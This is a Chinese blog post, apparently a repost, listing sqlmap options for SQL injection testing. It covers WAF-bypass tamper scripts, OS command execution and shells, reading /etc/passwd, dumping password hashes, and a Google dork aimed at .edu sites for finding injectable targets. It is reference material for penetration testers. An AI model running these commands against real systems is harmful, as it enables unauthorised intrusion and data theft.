sqlmap参数介绍

前言:为什么要发这篇文章,因为找的太麻烦,如有侵犯联系删除

查看帮助文档

-h
-hh 更详细的使用说明

无法连接时,维持连接

--keep-alive  //一般配合绕过方法使用,以及ua绕过使用

使用随机user-agent请求头
--random-agent

使用特定的某一种或者几种注入手段,例如 时间盲注
--technique=T

指定注入参数
-p "id"

指定包含注入点的url
-u "http://www.test.com/index.php?id=12"

设置请求的cookie
--cookie="PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84;"

指定使用post方法请求时,post的数据
--data="id=3"

解析包含表单的页面参数
--forms

刷新session,用于对注入点的重新注入
--flush-session

使用默认的选项进行注入,无需用户输入和交互
--batch

面向初学者的友好参数
--wizard

使用十六进制解析数据
--hex

设置编码
--encoding=GBK

注册表操作
–reg-read Read a Windows registry key value
–reg-add Write a Windows registry key value data
–reg-del Delete a Windows registry key value
–reg-key=REGKEY Windows registry key
–reg-value=REGVAL Windows registry key value
–reg-data=REGDATA Windows registry key value data
–reg-type=REGTYPE Windows registry key value type

指定操作系统
--os=windows

操作系统相关操作
执行系统命令(非交互)
--os-cmd=whoami


执行系统命令(交互式)
--os-shell

–os-pwn Prompt for an OOB shell, Meterpreter or VNC
–os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
–os-bof Stored procedure buffer overflow exploitation
–priv-esc Database process user privilege escalation
–msf-path=MSFPATH Local path where Metasploit Framework is installed
–tmp-path=TMPPATH Remote absolute path of temporary files directory

文件读写操作
读取文件内容
--file-read="/etc/passwd"

写入文件
--file-write="/path/local/file" --file-dest="/path/remote/file"

使用用户自定义函数
--udf-inject

暴力破解
当遇到access数据库或者mysql数据库版本较低(没有information_schema数据库)时,只能使用字典猜解数据库的表名和字段名等信息。
表名猜解
--common-tables


字段名猜解
--common-columns

设置请求延时(默认5秒),当网络较差时使用
--time-sec=6

设置注入等级,有些注入 例如cookie注入,需要较高的等级
--level=3

设置注入关键词,即当返回预期的页面时包含的某个字符串
--string="success"


也可以使用正则表达式
--regexp="uidd+"

设置线程数
--threads=10

执行python代码
--eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

使用HTTP参数污染
--hpp

开启参数优化
-o

请求之间的延迟
--delay=3

设置连接超时(默认30秒)
--timeout=15

设置遇到超时后的重试次数(默认3次)
--retries=5

使用代理

--proxy="http://127.0.0.1:8080"
--proxy-cred="name:password"
--proxy-file="proxy_list.txt"

指定user-agent
--user-agent="sadsadasd"

指定http请求方法
--method=PUT

指定请求头

-H "X-Forwarded-For: 127.0.0.1"
--headers "Accept-Language: fr
ETag: 123"

指定referer
--referer=REFERER

指定数据库类型
``–dbms=mysql```

指定payload的前缀
--prefix=PREFIX

指定payload的后缀
--suffix=SUFFIX

使用自定义脚本
--tamper=between


自定义脚本,是指用户可以根据需要,对sqlmap的默认payload进行自定义修改,例如使用替换、编码和函数对一些注入字符进行处理,达到绕过waf的目的,是sqlmap最强大的功能之一。

数据库指纹探测

-f
--fingerprint

执行sql语句(非交互)
--sql-query=QUERY

执行sql语句(交互式)
--sql-shell

执行文件中的sql语句
--sql-file=SQLFILE.txt

获取数据库banner信息

-b
--banner

查看当前数据库用户
--current-user

查看当前数据库
--current-db

查看是否为dba用户
--is-dba

解析数据库用户
--users

解析数据库账号密码hash
--passwords

查看数据库用户权限
--privileges

查看数据库用户role
--roles

解析数据库名

-D
--dbs

解析数据库中的表名

-T
--tables

解析数据表中的字段名

-C
--columns

数据表中数据条数
--count

导出指定数据表中的内容
--dump

导出所有数据库中数据表中的内容
--dump-all

解析数据库中的表名时,排除系统数据库
--exclude-sysdbs

sqlmap结合burp suite的使用
(1)单一请求
将burp suite中的某个请求保存到123.txt文件中

GET /r/collect?v=1&_v=j46&a=171173639*&t=pageview&_s=1&dl=http%3A%2F%2Fmuchong.com%2Ff-133-1-typeid-34&ul=zh-cn&de=GBK&dt=%2F%E5%B0%8F%E6%9C%A8%E8%99%AB%2F%5B%E5%A4%A7%E5%8C%BA%5D%E7%BD%91%E7%BB%9C%E7%94%9F%E6%B4%BB%E5%8C%BA%2F%5B%E6%9D%BF%E5%9D%97%5D%E8%99%AB%E5%8F%8B%E4%BA%92%E8%AF%86%2F%5B%E5%88%86%E7%B1%BB%5D%E8%AF%9A%E5%BE%81%E7%94%B7%E5%8F%8B&sd=24-bit&sr=1536x864&vp=1519x722&je=0&_u=QACAAEABI~&jid=798689456&cid=1166606190.1534286887&uid=570720&tid=UA-1947017-8&_r=1&z=1729239525 HTTP/1.1
Host: www.google-analytics.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.34 Safari/537.36
Accept: image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Referer: http://www.baidu.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

注意在请求的”a=171173639“后面添加了星号 * ,表示a参数为待测试参数,使用sqlmap进行注入测试:
python sqlmap.py -r "C:UsersAdministratorDesktop123.txt"

(2)请求记录
将burp suite的请求记录导出到文件req.log,使用sqlmap进行注入测试:
python sqlmap.py -l "C:UsersAdministratorDesktop eq.log"

将待测试的多个url保存到文件1.txt,文件内容举例:

http://www.a.com/index.php?id=1
http://www.b.com/index.asp?id=1
http://www.c.com/index.jsp?id=1

使用sqlmap进行注入测试:
python sqlmap.py -m "C:UsersAdministratorDesktop1.txt"

使用google搜索结果作为url输入


-g "inurl:php?id= site:edu"
由于国内对谷歌的访问较难实现,因此这个方法需要....才行

文章来源:https://blog.csdn.net/shadow20112011/article/details/104244004

原文地址:https://www.cnblogs.com/bflw/p/13894976.html